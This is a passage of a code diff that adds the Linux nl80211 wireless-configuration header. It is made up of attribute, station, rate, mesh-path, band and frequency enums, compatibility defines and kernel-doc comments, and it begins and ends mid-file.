+ NL80211_ATTR_DONT_WAIT_FOR_ACK,
+
+ NL80211_ATTR_FEATURE_FLAGS,
+
+ NL80211_ATTR_PROBE_RESP_OFFLOAD,
+
+ NL80211_ATTR_PROBE_RESP,
+
+ NL80211_ATTR_DFS_REGION,
+
+ NL80211_ATTR_DISABLE_HT,
+ NL80211_ATTR_HT_CAPABILITY_MASK,
+
+ NL80211_ATTR_NOACK_MAP,
+
+ NL80211_ATTR_INACTIVITY_TIMEOUT,
+
+ NL80211_ATTR_RX_SIGNAL_DBM,
+
+ NL80211_ATTR_BG_SCAN_PERIOD,
+
+ NL80211_ATTR_WDEV,
+
+ NL80211_ATTR_USER_REG_HINT_TYPE,
+
+ NL80211_ATTR_CONN_FAILED_REASON,
+
+ NL80211_ATTR_SAE_DATA,
+
+ NL80211_ATTR_VHT_CAPABILITY,
+
+ NL80211_ATTR_SCAN_FLAGS,
+
+ NL80211_ATTR_CHANNEL_WIDTH,
+ NL80211_ATTR_CENTER_FREQ1,
+ NL80211_ATTR_CENTER_FREQ2,
+
+ NL80211_ATTR_P2P_CTWINDOW,
+ NL80211_ATTR_P2P_OPPPS,
+
+ NL80211_ATTR_LOCAL_MESH_POWER_MODE,
+
+ NL80211_ATTR_ACL_POLICY,
+
+ NL80211_ATTR_MAC_ADDRS,
+
+ NL80211_ATTR_MAC_ACL_MAX,
+
+ NL80211_ATTR_RADAR_EVENT,
+
+ NL80211_ATTR_EXT_CAPA,
+ NL80211_ATTR_EXT_CAPA_MASK,
+
+ NL80211_ATTR_STA_CAPABILITY,
+ NL80211_ATTR_STA_EXT_CAPABILITY,
+
+ NL80211_ATTR_PROTOCOL_FEATURES,
+ NL80211_ATTR_SPLIT_WIPHY_DUMP,
+
+ NL80211_ATTR_DISABLE_VHT,
+ NL80211_ATTR_VHT_CAPABILITY_MASK,
+
+ NL80211_ATTR_MDID,
+ NL80211_ATTR_IE_RIC,
+
+ NL80211_ATTR_CRIT_PROT_ID,
+ NL80211_ATTR_MAX_CRIT_PROT_DURATION,
+
+ NL80211_ATTR_PEER_AID,
+
+ NL80211_ATTR_COALESCE_RULE,
+
+ NL80211_ATTR_CH_SWITCH_COUNT,
+ NL80211_ATTR_CH_SWITCH_BLOCK_TX,
+ NL80211_ATTR_CSA_IES,
+ NL80211_ATTR_CSA_C_OFF_BEACON,
+ NL80211_ATTR_CSA_C_OFF_PRESP,
+
+ NL80211_ATTR_RXMGMT_FLAGS,
+
+ NL80211_ATTR_STA_SUPPORTED_CHANNELS,
+
+ NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES,
+
+ NL80211_ATTR_HANDLE_DFS,
+
+ NL80211_ATTR_SUPPORT_5_MHZ,
+ NL80211_ATTR_SUPPORT_10_MHZ,
+
+ NL80211_ATTR_OPMODE_NOTIF,
+
+ NL80211_ATTR_VENDOR_ID,
+ NL80211_ATTR_VENDOR_SUBCMD,
+ NL80211_ATTR_VENDOR_DATA,
+ NL80211_ATTR_VENDOR_EVENTS,
+
+ NL80211_ATTR_QOS_MAP,
+
+ NL80211_ATTR_MAC_HINT,
+ NL80211_ATTR_WIPHY_FREQ_HINT,
+
+ NL80211_ATTR_MAX_AP_ASSOC_STA,
+
+ NL80211_ATTR_TDLS_PEER_CAPABILITY,
+
+ NL80211_ATTR_IFACE_SOCKET_OWNER,
+
+ NL80211_ATTR_CSA_C_OFFSETS_TX,
+ NL80211_ATTR_MAX_CSA_COUNTERS,
+
+ NL80211_ATTR_TDLS_INITIATOR,
+
+ NL80211_ATTR_USE_RRM,
+
+ NL80211_ATTR_WIPHY_DYN_ACK,
+
+ NL80211_ATTR_TSID,
+ NL80211_ATTR_USER_PRIO,
+ NL80211_ATTR_ADMITTED_TIME,
+
+ NL80211_ATTR_SMPS_MODE,
+
+ NL80211_ATTR_OPER_CLASS,
+
+ NL80211_ATTR_MAC_MASK,
+
+ NL80211_ATTR_WIPHY_SELF_MANAGED_REG,
+
+ NL80211_ATTR_EXT_FEATURES,
+
+ NL80211_ATTR_SURVEY_RADIO_STATS,
+
+ NL80211_ATTR_NETNS_FD,
+
+ NL80211_ATTR_SCHED_SCAN_DELAY,
+
+ NL80211_ATTR_REG_INDOOR,
+
+ NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS,
+ NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL,
+ NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS,
+ NL80211_ATTR_SCHED_SCAN_PLANS,
+
+ NL80211_ATTR_PBSS,
+
+ /* add attributes here, update the policy in nl80211.c */
+
+ __NL80211_ATTR_AFTER_LAST,
+ NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1
+};
+
+/* source-level API compatibility */
+#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION
+#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG
+
+/*
+ * Allow user space programs to use #ifdef on new attributes by defining them
+ * here
+ */
+#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT
+#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY
+#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES
+#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS
+#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ
+#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE
+#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE
+#define NL80211_ATTR_IE NL80211_ATTR_IE
+#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR
+#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE
+#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME
+#define NL80211_ATTR_SSID NL80211_ATTR_SSID
+#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE
+#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE
+#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE
+#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP
+#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS
+#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES
+#define NL80211_ATTR_KEY NL80211_ATTR_KEY
+#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS
+#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
+
+#define NL80211_MAX_SUPP_RATES 32
+#define NL80211_MAX_SUPP_HT_RATES 77
+#define NL80211_MAX_SUPP_REG_RULES 32
+#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0
+#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16
+#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24
+#define NL80211_HT_CAPABILITY_LEN 26
+#define NL80211_VHT_CAPABILITY_LEN 12
+
+#define NL80211_MAX_NR_CIPHER_SUITES 5
+#define NL80211_MAX_NR_AKM_SUITES 2
+
+#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10
+
+/* default RSSI threshold for scan results if none specified. */
+#define NL80211_SCAN_RSSI_THOLD_OFF -300
+
+#define NL80211_CQM_TXE_MAX_INTVL 1800
+
+/**
+ * enum nl80211_iftype - (virtual) interface types
+ *
+ * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides
+ * @NL80211_IFTYPE_ADHOC: independent BSS member
+ * @NL80211_IFTYPE_STATION: managed BSS member
+ * @NL80211_IFTYPE_AP: access point
+ * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces
+ * are a bit special in that they must always be tied to a pre-existing
+ * AP type interface.
+ * @NL80211_IFTYPE_WDS: wireless distribution interface
+ * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames
+ * @NL80211_IFTYPE_MESH_POINT: mesh point
+ * @NL80211_IFTYPE_P2P_CLIENT: P2P client
+ * @NL80211_IFTYPE_P2P_GO: P2P group owner
+ * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev
+ * and therefore can't be created in the normal ways, use the
+ * %NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE
+ * commands to create and destroy one
+ * @NL80211_IFTYPE_MAX: highest interface type number currently defined
+ * @NUM_NL80211_IFTYPES: number of defined interface types
+ *
+ * These values are used with the %NL80211_ATTR_IFTYPE
+ * to set the type of an interface.
+ *
+ */
+enum nl80211_iftype {
+ NL80211_IFTYPE_UNSPECIFIED,
+ NL80211_IFTYPE_ADHOC,
+ NL80211_IFTYPE_STATION,
+ NL80211_IFTYPE_AP,
+ NL80211_IFTYPE_AP_VLAN,
+ NL80211_IFTYPE_WDS,
+ NL80211_IFTYPE_MONITOR,
+ NL80211_IFTYPE_MESH_POINT,
+ NL80211_IFTYPE_P2P_CLIENT,
+ NL80211_IFTYPE_P2P_GO,
+ NL80211_IFTYPE_P2P_DEVICE,
+
+ /* keep last */
+ NUM_NL80211_IFTYPES,
+ NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1
+};
+
+/**
+ * enum nl80211_sta_flags - station flags
+ *
+ * Station flags. When a station is added to an AP interface, it is
+ * assumed to be already associated (and hence authenticated.)
+ *
+ * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X)
+ * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames
+ * with short barker preamble
+ * @NL80211_STA_FLAG_WME: station is WME/QoS capable
+ * @NL80211_STA_FLAG_MFP: station uses management frame protection
+ * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated
+ * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should
+ * only be used in managed mode (even in the flags mask). Note that the
+ * flag can't be changed, it is only valid while adding a station, and
+ * attempts to change it will silently be ignored (rather than rejected
+ * as errors.)
+ * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers
+ * that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a
+ * previously added station into associated state
+ * @NL80211_STA_FLAG_MAX: highest station flag number currently defined
+ * @__NL80211_STA_FLAG_AFTER_LAST: internal use
+ */
+enum nl80211_sta_flags {
+ __NL80211_STA_FLAG_INVALID,
+ NL80211_STA_FLAG_AUTHORIZED,
+ NL80211_STA_FLAG_SHORT_PREAMBLE,
+ NL80211_STA_FLAG_WME,
+ NL80211_STA_FLAG_MFP,
+ NL80211_STA_FLAG_AUTHENTICATED,
+ NL80211_STA_FLAG_TDLS_PEER,
+ NL80211_STA_FLAG_ASSOCIATED,
+
+ /* keep last */
+ __NL80211_STA_FLAG_AFTER_LAST,
+ NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1
+};
+
+#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER
+
+/**
+ * struct nl80211_sta_flag_update - station flags mask/set
+ * @mask: mask of station flags to set
+ * @set: which values to set them to
+ *
+ * Both mask and set contain bits as per &enum nl80211_sta_flags.
+ */
+struct nl80211_sta_flag_update {
+ __u32 mask;
+ __u32 set;
+} __attribute__((packed));
+
+/**
+ * enum nl80211_rate_info - bitrate information
+ *
+ * These attribute types are used with %NL80211_STA_INFO_TXRATE
+ * when getting information about the bitrate of a station.
+ * There are 2 attributes for bitrate, a legacy one that represents
+ * a 16-bit value, and new one that represents a 32-bit value.
+ * If the rate value fits into 16 bit, both attributes are reported
+ * with the same value. If the rate is too high to fit into 16 bits
+ * (>6.5535Gbps) only 32-bit attribute is included.
+ * User space tools encouraged to use the 32-bit attribute and fall
+ * back to the 16-bit one for compatibility with older kernels.
+ *
+ * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s)
+ * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8)
+ * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate
+ * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval
+ * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s)
+ * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined
+ * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8)
+ * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8)
+ * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate
+ * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate
+ * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate
+ * @__NL80211_RATE_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_rate_info {
+ __NL80211_RATE_INFO_INVALID,
+ NL80211_RATE_INFO_BITRATE,
+ NL80211_RATE_INFO_MCS,
+ NL80211_RATE_INFO_40_MHZ_WIDTH,
+ NL80211_RATE_INFO_SHORT_GI,
+ NL80211_RATE_INFO_BITRATE32,
+ NL80211_RATE_INFO_VHT_MCS,
+ NL80211_RATE_INFO_VHT_NSS,
+ NL80211_RATE_INFO_80_MHZ_WIDTH,
+ NL80211_RATE_INFO_80P80_MHZ_WIDTH,
+ NL80211_RATE_INFO_160_MHZ_WIDTH,
+
+ /* keep last */
+ __NL80211_RATE_INFO_AFTER_LAST,
+ NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sta_bss_param - BSS information collected by STA
+ *
+ * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM
+ * when getting information about the bitrate of a station.
+ *
+ * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag)
+ * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE: whether short preamble is enabled
+ * (flag)
+ * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME: whether short slot time is enabled
+ * (flag)
+ * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8)
+ * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16)
+ * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined
+ * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use
+ */
+enum nl80211_sta_bss_param {
+ __NL80211_STA_BSS_PARAM_INVALID,
+ NL80211_STA_BSS_PARAM_CTS_PROT,
+ NL80211_STA_BSS_PARAM_SHORT_PREAMBLE,
+ NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME,
+ NL80211_STA_BSS_PARAM_DTIM_PERIOD,
+ NL80211_STA_BSS_PARAM_BEACON_INTERVAL,
+
+ /* keep last */
+ __NL80211_STA_BSS_PARAM_AFTER_LAST,
+ NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sta_info - station information
+ *
+ * These attribute types are used with %NL80211_ATTR_STA_INFO
+ * when getting information about a station.
+ *
+ * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs)
+ * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station)
+ * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station)
+ * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station)
+ * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station)
+ * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm)
+ * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute
+ * containing info as possible, see &enum nl80211_rate_info
+ * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station)
+ * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this
+ * station)
+ * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station)
+ * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station)
+ * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm)
+ * @NL80211_STA_INFO_LLID: the station's mesh LLID
+ * @NL80211_STA_INFO_PLID: the station's mesh PLID
+ * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station
+ * (see %enum nl80211_plink_state)
+ * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested
+ * attribute, like NL80211_STA_INFO_TX_BITRATE.
+ * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute
+ * containing info as possible, see &enum nl80211_sta_bss_param
+ * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected
+ * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update.
+ * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32)
+ * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64)
+ * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode
+ * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode
+ * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards
+ * non-peer STA
+ * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU
+ * Contains a nested array of signal strength attributes (u8, dBm)
+ * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average
+ * Same format as NL80211_STA_INFO_CHAIN_SIGNAL.
+ * @NL80211_STA_EXPECTED_THROUGHPUT: expected throughput considering also the
+ * 802.11 header (u32, kbps)
+ * @__NL80211_STA_INFO_AFTER_LAST: internal
+ * @NL80211_STA_INFO_MAX: highest possible station info attribute
+ */
+enum nl80211_sta_info {
+ __NL80211_STA_INFO_INVALID,
+ NL80211_STA_INFO_INACTIVE_TIME,
+ NL80211_STA_INFO_RX_BYTES,
+ NL80211_STA_INFO_TX_BYTES,
+ NL80211_STA_INFO_LLID,
+ NL80211_STA_INFO_PLID,
+ NL80211_STA_INFO_PLINK_STATE,
+ NL80211_STA_INFO_SIGNAL,
+ NL80211_STA_INFO_TX_BITRATE,
+ NL80211_STA_INFO_RX_PACKETS,
+ NL80211_STA_INFO_TX_PACKETS,
+ NL80211_STA_INFO_TX_RETRIES,
+ NL80211_STA_INFO_TX_FAILED,
+ NL80211_STA_INFO_SIGNAL_AVG,
+ NL80211_STA_INFO_RX_BITRATE,
+ NL80211_STA_INFO_BSS_PARAM,
+ NL80211_STA_INFO_CONNECTED_TIME,
+ NL80211_STA_INFO_STA_FLAGS,
+ NL80211_STA_INFO_BEACON_LOSS,
+ NL80211_STA_INFO_T_OFFSET,
+ NL80211_STA_INFO_LOCAL_PM,
+ NL80211_STA_INFO_PEER_PM,
+ NL80211_STA_INFO_NONPEER_PM,
+ NL80211_STA_INFO_RX_BYTES64,
+ NL80211_STA_INFO_TX_BYTES64,
+ NL80211_STA_INFO_CHAIN_SIGNAL,
+ NL80211_STA_INFO_CHAIN_SIGNAL_AVG,
+ NL80211_STA_INFO_EXPECTED_THROUGHPUT,
+
+ /* keep last */
+ __NL80211_STA_INFO_AFTER_LAST,
+ NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mpath_flags - nl80211 mesh path flags
+ *
+ * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active
+ * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running
+ * @NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN
+ * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set
+ * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded
+ */
+enum nl80211_mpath_flags {
+ NL80211_MPATH_FLAG_ACTIVE = 1 << 0,
+ NL80211_MPATH_FLAG_RESOLVING = 1 << 1,
+ NL80211_MPATH_FLAG_SN_VALID = 1 << 2,
+ NL80211_MPATH_FLAG_FIXED = 1 << 3,
+ NL80211_MPATH_FLAG_RESOLVED = 1 << 4,
+};
+
+/**
+ * enum nl80211_mpath_info - mesh path information
+ *
+ * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting
+ * information about a mesh path.
+ *
+ * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination
+ * @NL80211_MPATH_INFO_SN: destination sequence number
+ * @NL80211_MPATH_INFO_METRIC: metric (cost) of this mesh path
+ * @NL80211_MPATH_INFO_EXPTIME: expiration time for the path, in msec from now
+ * @NL80211_MPATH_INFO_FLAGS: mesh path flags, enumerated in
+ * &enum nl80211_mpath_flags;
+ * @NL80211_MPATH_INFO_DISCOVERY_TIMEOUT: total path discovery timeout, in msec
+ * @NL80211_MPATH_INFO_DISCOVERY_RETRIES: mesh path discovery retries
+ * @NL80211_MPATH_INFO_MAX: highest mesh path information attribute number
+ * currently defind
+ * @__NL80211_MPATH_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_mpath_info {
+ __NL80211_MPATH_INFO_INVALID,
+ NL80211_MPATH_INFO_FRAME_QLEN,
+ NL80211_MPATH_INFO_SN,
+ NL80211_MPATH_INFO_METRIC,
+ NL80211_MPATH_INFO_EXPTIME,
+ NL80211_MPATH_INFO_FLAGS,
+ NL80211_MPATH_INFO_DISCOVERY_TIMEOUT,
+ NL80211_MPATH_INFO_DISCOVERY_RETRIES,
+
+ /* keep last */
+ __NL80211_MPATH_INFO_AFTER_LAST,
+ NL80211_MPATH_INFO_MAX = __NL80211_MPATH_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_band_attr - band attributes
+ * @__NL80211_BAND_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_BAND_ATTR_FREQS: supported frequencies in this band,
+ * an array of nested frequency attributes
+ * @NL80211_BAND_ATTR_RATES: supported bitrates in this band,
+ * an array of nested bitrate attributes
+ * @NL80211_BAND_ATTR_HT_MCS_SET: 16-byte attribute containing the MCS set as
+ * defined in 802.11n
+ * @NL80211_BAND_ATTR_HT_CAPA: HT capabilities, as in the HT information IE
+ * @NL80211_BAND_ATTR_HT_AMPDU_FACTOR: A-MPDU factor, as in 11n
+ * @NL80211_BAND_ATTR_HT_AMPDU_DENSITY: A-MPDU density, as in 11n
+ * @NL80211_BAND_ATTR_VHT_MCS_SET: 32-byte attribute containing the MCS set as
+ * defined in 802.11ac
+ * @NL80211_BAND_ATTR_VHT_CAPA: VHT capabilities, as in the HT information IE
+ * @NL80211_BAND_ATTR_MAX: highest band attribute currently defined
+ * @__NL80211_BAND_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_band_attr {
+ __NL80211_BAND_ATTR_INVALID,
+ NL80211_BAND_ATTR_FREQS,
+ NL80211_BAND_ATTR_RATES,
+
+ NL80211_BAND_ATTR_HT_MCS_SET,
+ NL80211_BAND_ATTR_HT_CAPA,
+ NL80211_BAND_ATTR_HT_AMPDU_FACTOR,
+ NL80211_BAND_ATTR_HT_AMPDU_DENSITY,
+
+ NL80211_BAND_ATTR_VHT_MCS_SET,
+ NL80211_BAND_ATTR_VHT_CAPA,
+
+ /* keep last */
+ __NL80211_BAND_ATTR_AFTER_LAST,
+ NL80211_BAND_ATTR_MAX = __NL80211_BAND_ATTR_AFTER_LAST - 1
+};
+
+#define NL80211_BAND_ATTR_HT_CAPA NL80211_BAND_ATTR_HT_CAPA
+
+/**
+ * enum nl80211_frequency_attr - frequency attributes
+ * @__NL80211_FREQUENCY_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_FREQUENCY_ATTR_FREQ: Frequency in MHz
+ * @NL80211_FREQUENCY_ATTR_DISABLED: Channel is disabled in current
+ * regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_NO_IR: no mechanisms that initiate radiation
+ * are permitted on this channel, this includes sending probe
+ * requests, or modes of operation that require beaconing.
+ * @NL80211_FREQUENCY_ATTR_RADAR: Radar detection is mandatory
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_MAX_TX_POWER: Maximum transmission power in mBm
+ * (100 * dBm).
+ * @NL80211_FREQUENCY_ATTR_DFS_STATE: current state for DFS
+ * (enum nl80211_dfs_state)
+ * @NL80211_FREQUENCY_ATTR_DFS_TIME: time in miliseconds for how long
+ * this channel is in this DFS state.
+ * @NL80211_FREQUENCY_ATTR_NO_HT40_MINUS: HT40- isn't possible with this
+ * channel as the control channel
+ * @NL80211_FREQUENCY_ATTR_NO_HT40_PLUS: HT40+ isn't possible with this
+ * channel as the control channel
+ * @NL80211_FREQUENCY_ATTR_NO_80MHZ: any 80 MHz channel using this channel
+ * as the primary or any of the secondary channels isn't possible,
+ * this includes 80+80 channels
+ * @NL80211_FREQUENCY_ATTR_NO_160MHZ: any 160 MHz (but not 80+80) channel
+ * using this channel as the primary or any of the secondary channels
+ * isn't possible
+ * @NL80211_FREQUENCY_ATTR_DFS_CAC_TIME: DFS CAC time in milliseconds.
+ * @NL80211_FREQUENCY_ATTR_INDOOR_ONLY: Only indoor use is permitted on this
+ * channel. A channel that has the INDOOR_ONLY attribute can only be
+ * used when there is a clear assessment that the device is operating in
+ * an indoor surroundings, i.e., it is connected to AC power (and not
+ * through portable DC inverters) or is under the control of a master
+ * that is acting as an AP and is connected to AC power.
+ * @NL80211_FREQUENCY_ATTR_GO_CONCURRENT: GO operation is allowed on this
+ * channel if it's connected concurrently to a BSS on the same channel on
+ * the 2 GHz band or to a channel in the same UNII band (on the 5 GHz
+ * band), and IEEE80211_CHAN_RADAR is not set. Instantiating a GO on a
+ * channel that has the GO_CONCURRENT attribute set can be done when there
+ * is a clear assessment that the device is operating under the guidance of
+ * an authorized master, i.e., setting up a GO while the device is also
+ * connected to an AP with DFS and radar detection on the UNII band (it is
+ * up to user-space, i.e., wpa_supplicant to perform the required
+ * verifications)
+ * @NL80211_FREQUENCY_ATTR_NO_20MHZ: 20 MHz operation is not allowed
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_NO_10MHZ: 10 MHz operation is not allowed
+ * on this channel in current regulatory domain.
+ * @NL80211_FREQUENCY_ATTR_MAX: highest frequency attribute number
+ * currently defined
+ * @__NL80211_FREQUENCY_ATTR_AFTER_LAST: internal use
+ *
+ * See
+ *https://apps.fcc.gov/eas/comments/GetPublishedDocument.html?id=327&tn=528122
+ * for more information on the FCC description of the relaxations allowed
+ * by NL80211_FREQUENCY_ATTR_INDOOR_ONLY and
+ * NL80211_FREQUENCY_ATTR_GO_CONCURRENT.
+ */
+enum nl80211_frequency_attr {
+ __NL80211_FREQUENCY_ATTR_INVALID,
+ NL80211_FREQUENCY_ATTR_FREQ,
+ NL80211_FREQUENCY_ATTR_DISABLED,
+ NL80211_FREQUENCY_ATTR_NO_IR,
+ __NL80211_FREQUENCY_ATTR_NO_IBSS,
+ NL80211_FREQUENCY_ATTR_RADAR,
+ NL80211_FREQUENCY_ATTR_MAX_TX_POWER,
+ NL80211_FREQUENCY_ATTR_DFS_STATE,
+ NL80211_FREQUENCY_ATTR_DFS_TIME,
+ NL80211_FREQUENCY_ATTR_NO_HT40_MINUS,
+ NL80211_FREQUENCY_ATTR_NO_HT40_PLUS,
+ NL80211_FREQUENCY_ATTR_NO_80MHZ,
+ NL80211_FREQUENCY_ATTR_NO_160MHZ,
+ NL80211_FREQUENCY_ATTR_DFS_CAC_TIME,
+ NL80211_FREQUENCY_ATTR_INDOOR_ONLY,
+ NL80211_FREQUENCY_ATTR_GO_CONCURRENT,
+ NL80211_FREQUENCY_ATTR_NO_20MHZ,
+ NL80211_FREQUENCY_ATTR_NO_10MHZ,
+
+ /* keep last */
+ __NL80211_FREQUENCY_ATTR_AFTER_LAST,
+ NL80211_FREQUENCY_ATTR_MAX = __NL80211_FREQUENCY_ATTR_AFTER_LAST - 1
+};
+
+#define NL80211_FREQUENCY_ATTR_MAX_TX_POWER NL80211_FREQUENCY_ATTR_MAX_TX_POWER
+#define NL80211_FREQUENCY_ATTR_PASSIVE_SCAN NL80211_FREQUENCY_ATTR_NO_IR
+#define NL80211_FREQUENCY_ATTR_NO_IBSS NL80211_FREQUENCY_ATTR_NO_IR
+#define NL80211_FREQUENCY_ATTR_NO_IR NL80211_FREQUENCY_ATTR_NO_IR
+
+/**
+ * enum nl80211_bitrate_attr - bitrate attributes
+ * @__NL80211_BITRATE_ATTR_INVALID: attribute number 0 is reserved
+ * @NL80211_BITRATE_ATTR_RATE: Bitrate in units of 100 kbps
+ * @NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE: Short preamble supported
+ * in 2.4 GHz band.
+ * @NL80211_BITRATE_ATTR_MAX: highest bitrate attribute number
+ * currently defined
+ * @__NL80211_BITRATE_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_bitrate_attr {
+ __NL80211_BITRATE_ATTR_INVALID,
+ NL80211_BITRATE_ATTR_RATE,
+ NL80211_BITRATE_ATTR_2GHZ_SHORTPREAMBLE,
+
+ /* keep last */
+ __NL80211_BITRATE_ATTR_AFTER_LAST,
+ NL80211_BITRATE_ATTR_MAX = __NL80211_BITRATE_ATTR_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_initiator - Indicates the initiator of a reg domain request
+ * @NL80211_REGDOM_SET_BY_CORE: Core queried CRDA for a dynamic world
+ * regulatory domain.
